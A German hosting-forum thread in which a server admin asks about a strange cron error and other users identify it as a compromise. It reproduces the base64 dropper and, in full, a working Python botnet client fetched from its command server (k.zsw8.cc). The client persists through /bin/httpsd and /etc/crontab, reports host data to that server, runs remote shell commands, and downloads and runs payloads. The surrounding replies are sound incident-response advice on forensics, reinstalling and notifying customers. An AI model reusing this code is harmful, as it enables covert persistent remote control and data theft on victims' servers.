Cron <root@test-test> /bin/httpsd

Hallo,

Ich bekomme ständig diesen Fehler per Mail :-(
Wer kann mir sagen was ich machen muss um den Fehler zu beheben ?

HTML:
/bin/httpsd: line 1: 23450 Killed                  python -c "import base64;exec(base64.b64decode('CiNjb2Rpbmc6IHV0Zi04CmltcG9ydCB1cmxsaWIKaW1wb3J0IGJhc2U2NAp3aGlsZSBUcnVlOgogICAgdHJ5OgogICAgICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbigiaHR0cDovL2suenN3OC5jYy9BcGkvIikucmVhZCgpKQogICAgICAgIGV4ZWMocGFnZSkKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCiAgICB0aW1lLnNsZWVwKDMwMCkK'))"

Ich habe Centos 7 und Plesk 17.8.7

lg Peter
 
Der Server ist nicht mehr unter Deiner Kontrolle.

Keine Updates gemacht oder absichtlich Sicherheitslücken geöffnet?
 
Ich habe volle Kontrolle auf den Server

Das halte ich für ein Gerücht.

Wenn ich den Code durch einen Online-Decoder jage, kommt das raus:

Code:
import urllib
import base64
while True:
    try:
        page=base64.b64decode(urllib.urlopen("http://k.zsw8.cc/Api/").read())
        exec(page)
    except:
        pass
    time.sleep(300)

Hier wird offensichtlich externer (Schad-)Code nachgeladen.

Server runterfahren, ins Rescue booten, Image clonen und Angriffsvektor analysieren.
Danach neu aufsetzen, Sicherheitslücke schließen und glücklich sein. :)
 
Danke :)
Dann werde ich mal meine API´s Checken.

Das halte ich für ein Gerücht.

Wenn ich den Code durch einen Online-Decoder jage, kommt das raus:

Code:
import urllib
import base64
while True:
    try:
        page=base64.b64decode(urllib.urlopen("http://k.zsw8.cc/Api/").read())
        exec(page)
    except:
        pass
    time.sleep(300)

Hier wird offensichtlich externer (Schad-)Code nachgeladen.

Server runterfahren, ins Rescue booten, Image clonen und Angriffsvektor analysieren.
Danach neu aufsetzen, Sicherheitslücke schließen und glücklich sein. :)
 
In /bin darf nur root schreiben, also wurde die Kiste gerootet, weshalb ausschliesslich ein Neuaufsetzen ohne Sicherheitslücke hilft.

Es ist auch keinen Daten auf dem System mehr zu vertrauen ist, hier hilft ausschliesslich ein externes Backup von vor dem Einbruch.

Hast Du Kundendaten müssen auch die Kunden informiert werden, bei sensiblen Daten wie etwa Zahlungsdaten gegebenenfalls auch das BSI.
 
In /bin darf nur root schreiben, also wurde die Kiste gerootet, weshalb ausschliesslich ein Neuaufsetzen ohne Sicherheitslücke hilft.

Es ist auch keinen Daten auf dem System mehr zu vertrauen ist, hier hilft ausschliesslich ein externes Backup von vor dem Einbruch.

Hast Du Kundendaten müssen auch die Kunden informiert werden, bei sensiblen Daten wie etwa Zahlungsdaten gegebenenfalls auch das BSI.

Ich kann von außen keinen Zugriff feststellen.
Wir haben die Datei jetzt mal umbenannt und der Fehler ist weg.
 
... und wie ist die Datei dann auf den Server gekommen? An eine Stelle, an der nur root Schreibrechte hat?


"Ignorieren" und "Wegschauen" war schon immer eine der besten Problemlösungsmethoden...

Das ist eine gute Frage ? :confused::confused:

Aber wir haben die letzten Stunden der Server durchsucht und vom Netzt genommen und keinen Eingang gefunden.

Wir hatten einer externen Firma einen Adminzugang gestattet vielleicht haben die uns was gebracht :mad:
 
Daher - Fakten, aus aktueller Sicht:
* Du weißt nicht wie die Datei dort gelandet ist.
* Die Datei ist an einer Stelle, die nur mit root-Rechten beschrieben werden kann.
* Root kann überall schreiben.
* Wer die Datei dort abgelegt hat, konnte also überall Dateien ablegen oder ändern.

Du weißt also auch nicht, was sonst noch auf dem System verändert wurde. Damit ist das System nicht mehr vertrauenswürdig. Du kannst Dir nicht mal sicher sein, daß kein Keylogger oder anderes auf dem System am laufen ist. Je nach Art des Systems ggf. auch Dinge, die Du gar nicht im System erkennen kannst - siehe z.B. aktuelle IME-Lücke.

Daher: Herunterfahren, Sicherung des System für forensische Analyse, neu Aufsetzen des Systems (inkl. Schließen der Lücke) und Wiederherstellung der Daten aus einer nachweislich sauberen Quelle.

Ja, das ist Aufwand, beeinhaltet Datenverluste und ggf. auch nicht innerhalb eines Tages gemacht.
 
Wir hatten einer externen Firma einen Adminzugang gestattet vielleicht haben die uns was gebracht :mad:

Das wäre aber eine doofe Firma. Und meiner Erfahrung nach sehr unwahrscheinlich.

Wenn Du ein Backup hättest, dann könntest Du mal nachschauen, ab wann diese Datei im Backup aufgetaucht ist.
 
Ich lese hier eigentlich nur eines raus:
"gibt doch gar kein Problem, weil wir es nicht mehr sehen."
"Wir sind nicht schuld, irgend jemand anderes war es."
"Obwohl wir es nicht waren, wissen wir ganz genau, dass jetzt alles gut ist und eigentlich nichts passiert ist."

Ich kann ja noch verstehen, wenn man bisher immer Glück hatte und solche Dinge nur aus Berichten kennt aber wenn man sich gerade live die Finger verbrennt, sollte man doch einmal darüber nachdenken, die Finger von der Herdplatte zu nehmen, statt zu postulieren, dass alles gut sei und überhaupt sei die Herdplatte schuld.

Außerdem folgere ich aus dem "wir", dass es um ein Unternehmen geht und da konvergiert mein Verständnis noch einmal deutlich schneller gegen 0, da ihr direkt oder indirekt damit Geld verdient und - direkt oder indirekt - eure Kunden betroffen sind.

</rant>

Fakt ist, dass ihr gar nichts mehr über das System wissen könnt, denn die Malware kann ohne Weiteres ein Rootkit nachladen und Logs kann man auf solchen Systemen auch nicht mehr vertrauen, da die genauso unter der Kontrolle des Angreifers stehen, denn Root darf im Zweifel alles.
Man benötigt also ein System, von dem man ausgehen kann, dass es sicher ist, wie z.B. ein Rescuesystem und von dort aus kann man dann das infizierte System analysieren wobei auch das wieder know how braucht und - je nach Geschick der Angreifer - extrem komplex ist.
Und ja, natürlich kann es sein, dass es hier nur um vergleichsweise harmlose Malware geht aber das könnt ihr eben nicht wissen. Besonders dann nicht, wenn das System mit dem gleichen Wissensstand konfiguriert wurde, den ihr jetzt offenbart.
 
Last edited by a moderator:
Schadcode in meiner Lieblingssprache :-D :-D

Hier der Code, der von einem Webserver geladen und ausgeführt wird. Unter anderem wird ein Eintrag zur /etc/crontab hinzugefügt.

Code:
# coding=utf-8
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
import urllib
import socket
socket.setdefaulttimeout(5)     # connect timeout
import subprocess
import threading
import time
import base64
import os

try:
    import uuid
    import platform
except Exception,e:
    pass

apiURL = "http://k.zsw8.cc/Api/"
runCodePath = '/bin/httpsd'
tmpPid= "/tmp/VWTFEdbwdaEjduiWar3adW"
runCode = '''
#coding: utf-8
import urllib
import base64
while True:
    try:
        page=base64.b64decode(urllib.urlopen("%s").read())
        exec(page)
    except:
        pass
    time.sleep(300)
'''% (apiURL)

class CommonWay(object):
    CommonResult = []
    def __init__(self):pass
    def start(self):
        try:
            base64RunCode = base64.b64encode(runCode)
            f = open(runCodePath, "w+")
            f.write("python -c \"import base64;exec(base64.b64decode('%s'))\"" % base64RunCode)
            f.close()
            os.chmod(runCodePath, 0777)
            f = open("/etc/crontab", "r")
            crontabData = f.read()
            f.close()
            if runCodePath not in crontabData:
                f = open("/etc/crontab", "a+")
                f.write("\n0 */6 * * * root %s\n" % runCodePath)
                f.close()
        except Exception, e:
            pass
    def kill(self):
        try:
            try:
                f = open(tmpPid, 'r')
                pid = int(f.read())
                f.close()
                #os.system("kill -9 %d" % pid)
                os.kill(pid, 9)
            except Exception, e:
                pass
            pid = os.getpid()
            f = open(tmpPid, 'w+')
            f.write(str(pid))
            f.close()
        except Exception, e:
            pass
    def result(self, task_id, result):
        try:
            CommonWay.CommonResult.append({"id": task_id, "result": base64.b64encode(result)})
            #print CommonWay.CommonResult
            for my_data in CommonWay.CommonResult:
                f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
                if f.getcode() == 200:
                    CommonWay.CommonResult.remove(my_data)
                f.close()
            #print CommonWay.CommonResult
        except Exception, e:
            pass

class CommonData(object):
    def __init__(self): pass
    @property
    def get_key(self):
        hostname = ""
        mac = ""
        try:
            hostname = base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
            mac = uuid.UUID(int = uuid.getnode()).hex[-12:]
        except Exception, e:
            pass
        return hostname+":"+mac
    @property
    def get_name(self):
        try:
            return base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
        except Exception, e:
            return "null"
    def __readCpuInfo(self):
        f = open('/proc/stat')
        lines = f.readlines()
        f.close()
        for line in lines:
            line = line.lstrip()
            counters = line.split()
            if len(counters) < 5:
                continue
            if counters[0].startswith('cpu'):
                break
        total = 0
        for i in xrange(1, len(counters)):
            total = total + long(counters[i])
        idle = long(counters[4])
        return {'total': total, 'idle': idle}
    def __calcCpuUsage(self, counters1, counters2):
        idle = counters2['idle'] - counters1['idle']
        total = counters2['total'] - counters1['total']
        return 100 - (idle * 100 / total)
    @property
    def get_cpuuse(self):
        try:
            counters1 = self.__readCpuInfo()
            time.sleep(3)
            counters2 = self.__readCpuInfo()
            return str(self.__calcCpuUsage(counters1, counters2))+"%"
        except Exception, e:
            return "null"
    @property
    def get_cpucount(self):
        try:
            cpu_count = 0
            f = open("/proc/cpuinfo")
            lines = f.readlines()
            f.close()
            for line in lines:
                if ':' in line:
                    lineList = line.split(":", 2)
                    if lineList[0].strip() == "cpu cores":
                        cpu_count = int(lineList[1].strip())
                        break
            return cpu_count
        except Exception, e:
            return 0
    @property
    def get_core(self):
        try:
            return platform.architecture()[0]
        except Exception, e:
            return "null"
    @property
    def get_platform(self):
        try:
            import platform
            return platform.system()
        except Exception, e:
            return "null"
    @property
    def get_status(self):
        try:
            return "None"
        except Exception, e:
            return "None"

class CmdExec(object):
    def __init__(self, cmd, task_id):
        self.task_cmd = cmd
        self.task_id = task_id
        self.run()
    def run(self):
        t = threading.Thread(target=self.exec_cmd)
        t.setDaemon(True)
        t.start()
    def exec_cmd(self):
        try:
            mytask = subprocess.Popen(self.task_cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            myCmdResult = mytask.stdout.read()
            #print self.task_id, myCmdResult
            #print myCmdResult, self.task_id
            c = CommonWay()
            c.result(self.task_id, myCmdResult)
        except Exception, e:
            pass

class DownExec(object):
    def __init__(self, downloadurl, taskid):
        self.downloadurl = downloadurl
        self.taskid = taskid
        self.run()
    def run(self):
        t = threading.Thread(target=self.download)
        t.setDaemon(True)
        t.start()
    def schedule(self, a, b, c):
        # a: block count
        # b: block size
        # c: file size
        per = 100.0 * a * b / c
        if per > 100: per = 100
        #print '%.2f%%' % per
    def download(self):
        try:
            f = urllib.urlretrieve(self.downloadurl, filename=None, reporthook=self.schedule, data=None)
            try:
                os.chmod(f[0], 0777)
            except:
                pass
            mytask = subprocess.Popen(f[0], shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            myresult = mytask.stdout.read()
            # update result
            # print myresult, self.taskid
            c = CommonWay()
            c.result(self.taskid, myresult)
        except Exception, e:
            pass

    def __del__(self):
        urllib.urlcleanup()

class Client(object):
    def __init__(self):
        self.r_time = 30
        self.runMain()
    def get_task(self):
        try:
            code = 0
            html = ""
            d = CommonData()
            my_data = {"key": d.get_key}
            f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
            code = f.getcode()
            html = f.read()
            f.close()
            data = eval(html)
            if data.has_key("id") and data["id"]:
                task_id = data["id"]
                if data.has_key("download") and data["download"]:
                    DownExec(data["download"], task_id)
                if data.has_key("cmd") and data["cmd"]:
                    CmdExec(data["cmd"], task_id)
            else:
                self.r_time = int(data["rtime"])
        except Exception, e:
            return False

    def up_online(self):
        try:
            code = 0
            html = ""
            d = CommonData()
            my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
            f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
            code = f.getcode()
            #html = f.read()
            f.close()
            if code == 200:
                return True
            else:
                return False
        except Exception, e:
            return False

    def runMain(self):
        try:
            commonWay = CommonWay()
            commonWay.start()
            commonWay.kill()
            while True:
                if not self.up_online():
                    time.sleep(60)
                    continue
                self.get_task()
                time.sleep(self.r_time)
        except Exception, e:
            pass

if __name__ == "__main__":
    c = Client()

Hab schon schlimmeres gesehen :-D

Grob zusammengefasst sammelt das Programm Daten über den Host und sendet diese an den Webserver. Gleichzeitig bezieht das Programm von dem Webserver Code, der auch ausgeführt wird. Das könnte alles mögliche sein.

Dadurch, dass das Programm sich wie ein Bot verhält, kann man keine weiteren Aussagen treffen, was alles noch hätte verändert werden können.

Unterm Strich kann man diesen Server als kompromittiert betrachten und eine Neuinstallation wäre sehr ratsam, es seiden du legst es drauf an im Schadensfall zivilrechtlich belangt zu werden. Deine/Eure Entscheidung.

Den Code solltet ihr euch ausdrucken und als Erinnerung an die Pinnwand hängen.
 
Grob zusammengefasst sammelt das Programm Daten über den Host und sendet diese an den Webserver. Gleichzeitig bezieht das Programm von dem Webserver Code, der auch ausgeführt wird. Das könnte alles mögliche sein.

Danke für die Analyse. :)

Dann werde ich mal meine API´s Checken.

Welche API's willst du da jetzt genau überprüfen? :confused:

BTW:
Und bitte nicht einfach den Server neu aufsetzen und Backups vom Vortag einspielen. Dann hast du den ganzen Mist gleich wieder drin.
Du mußt zuerst die Lücke finden, durch die der Angriff auf deinen Server möglich war. Wenn du dir das selber nicht zutrauen solltest, hol dir professionelle Hilfe dafür.
 
Entspricht dem klassischen Bot mit Autoupdatefunktion. Metriken werden an den Remote-Server gesendet. Aufträge werden vom Remote-Server abgeholt. Aufträge können Befehle und zur Laufzeit heruntergeladene Programme sein.


tl;dr

Hab nochmal genauer hingesehen.
Von der Struktur her läuft das Programm wie folgt ab:

  1. Code wird vom Webserver heruntergeladen (base64 codiert)
  2. /bin/httpsd wird angelegt, ein Shellscript, dass python mit dem aktuellen code startet, chmod 777 wird gesetzt
  3. crontab wird durchsucht, ob der Eintrag schon da ist, ansonten wird er hinzugefügt.
  4. vorheriger laufender Prozess, der in /tmp/VWTFEdbwdaEjduiWar3adW hinterlegt ist, wird mit sigterm gekillt.
  5. aktuelle PID wird nach /tmp/VWTFEdbwdaEjduiWar3adW gespeichert.
  6. In einer Endlosschleife geht es dann weiter...
  7. an die URL http://k.zsw8.cc/Api/ Daten über die Hardware, Hostname, Auslastung usw. senden, falls nicht erreichbar 60 Sekunden warten und wiederholen
  8. falls erfolgreich, die zu erledigenden Aufgaben vom Server abholen.
  9. Aufgabe im Thread starten
    • Direkt einen Befehl ausführen und Ausgabe an den Server zurückschicken.
    • Daten vom Server herunterladen, speichern und ausführen. Die Ausgabe zurück an den Server schicken.
 
Back
Top